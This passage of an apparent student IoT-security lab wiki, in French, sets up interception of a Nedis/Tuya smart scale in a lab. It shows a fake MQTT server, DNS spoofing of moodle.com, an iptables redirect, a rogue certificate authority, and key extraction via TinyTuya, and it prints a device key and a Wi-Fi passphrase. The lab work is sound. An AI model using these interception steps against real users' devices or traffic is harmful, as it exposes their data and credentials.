                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je pense que pour faire fonctionner cette méthode, il faut absolument que je trouve la clé qui crypte le message pour que Nedis l'accepte quand il le reçoit&lt;br /&gt;
&lt;br /&gt;
J'ai donc cherché dans cette direction et j'ai découvert deux choses. &lt;br /&gt;
&lt;br /&gt;
Premièrement, TinyTuya, une API Python pour les appareils intelligents Tuya (génial, Nedis utilise Tuya) WiFi utilisant une connexion directe au réseau local (LAN) ou le cloud (API TuyaCloud). TinyTuya permet entre autre de récupérer la fameuse clé.&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai découvert la plateforme IOT de Tuya qui permet, en connectant son application de téléphone sur le site, de jouer avec ses appareils Tuya pour une connexion avec Home Assisant ou encore ... TinyTuya !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: J'ai du changer d'application et cette application ne tape plus sur la même adresse. Elle tape sur XX-eu.lifeaiot.com il a donc fallu refaire une redirection vers notre serveur pour ces nouvelles adresses.&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: j'ai la clé. Je parle plus de TinyTuya dans la prochaine partie car même avec cette clé, ce faux serveur ne marche pas. Je vais donc tenter d'autres pistes.&lt;br /&gt;
&lt;br /&gt;
== TinyTuya ==&lt;br /&gt;
Dans cette partie, nous allons tenter de connecter notre balance à notre faux serveur en utilisant l'utilitaire TinyTuya. Le but est de récupérer le poids de l'utilisateur de la balance lorsqu'il se pèse.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il a fallu connecter l'appli à la platforme IOT de Tuya. L'application &amp;quot;Nedis Smartlife&amp;quot; de Nedis, qui utilise bien la même base que l'application Smartlife de Tuya (oui oui c'est le même nom…) ne veux pas se connecter à la plateforme pour une raison inexplicable (et au vu du nombre de forum qui parle du sujet, je ne suis pas le seul).&lt;br /&gt;
&lt;br /&gt;
J'ai donc du connecter ma balance sur l'appli Smartlife qui a bien voulu se connecter à la plateforme.&lt;br /&gt;
&lt;br /&gt;
Cela me permet de récupérer avec TinyTuya les périphériques&lt;br /&gt;
&lt;br /&gt;
Et je vais maintenant tenter d'expliquer le fonctionnement de TinyTuya étape par étape…&lt;br /&gt;
&lt;br /&gt;
Déjà pourquoi connecter l'application avec la plateforme IOT de Tuya --&amp;gt; Cela permet à l'appli de récupérer les appareils connectés de mon application, elle va générer un ID et une clé.&lt;br /&gt;
&lt;br /&gt;
Et comment faire pour que TinyTuya est accès aux appareils --&amp;gt; grâce à la commande &amp;lt;code&amp;gt;python -m tinytuya wizard&amp;lt;/code&amp;gt; qui va prendre l'ID et la clé pour récupérer les appareils. &lt;br /&gt;
&lt;br /&gt;
Ensuite la commande suivante va permettre à TinyTuya de détecter nos appareils qui sont effectivement connecté à notre réseau :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya devices TinyTuya &lt;br /&gt;
(Tuya device scanner) [1.17.4] Loaded devices.json - 1 devices: Device Listing [     &lt;br /&gt;
{         &lt;br /&gt;
&amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,         &lt;br /&gt;
&amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,         &lt;br /&gt;
&amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,         &lt;br /&gt;
&amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,         &lt;br /&gt;
&amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,         &lt;br /&gt;
&amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,         &lt;br /&gt;
&amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,         &lt;br /&gt;
&amp;quot;biz_type&amp;quot;: 18,         &lt;br /&gt;
&amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,         &lt;br /&gt;
&amp;quot;sub&amp;quot;: false,         &lt;br /&gt;
&amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,         &lt;br /&gt;
&amp;quot;mapping&amp;quot;: {}     } ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et la, magie, on obtient la clé de la balance, on va pouvoir enfin récupérer le poids de notre utilisateur grâce à ce code python qui écoute la balance:&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import tinytuya&lt;br /&gt;
&lt;br /&gt;
DEVICE_ID = '84853100a4e57c162d4c'&lt;br /&gt;
IP_ADDRESS = '172.16.10.105'&lt;br /&gt;
LOCAL_KEY = 'V[z^Gr|qekh]9z_&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
# Connexion à l'appareil&lt;br /&gt;
d = tinytuya.Device(DEVICE_ID, IP_ADDRESS, LOCAL_KEY)&lt;br /&gt;
&lt;br /&gt;
d.set_version(3.3)&lt;br /&gt;
&lt;br /&gt;
# Récupérer le statut&lt;br /&gt;
data = d.status() &lt;br /&gt;
print(&amp;quot;Statut complet :&amp;quot;, data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Évidemment cela ne fonctionne pas. Et pourquoi ? Et bien si l'on regarde dans le bloc &amp;lt;code&amp;gt;python3 -m tinytuya devices TinyTuya&amp;lt;/code&amp;gt; on observe que le champs mapping est vide. Ce champs est censé afficher toute les données que TinyTuya est censé pouvoir récupérer … et il est vide …&lt;br /&gt;
&lt;br /&gt;
Soit je suis à l'origine de ce problème, soit TinyTuya ne permet de changer nous ampoules connecté en rouge si la balance affiche que notre objectif de poids est dépassé …&lt;br /&gt;
&lt;br /&gt;
Affaire à suivre.&lt;br /&gt;
&lt;br /&gt;
TODO : ne marche pas en local ? tenter d'enlever la redirection&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11129</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11129"/>
		<updated>2026-01-11T22:07:10Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
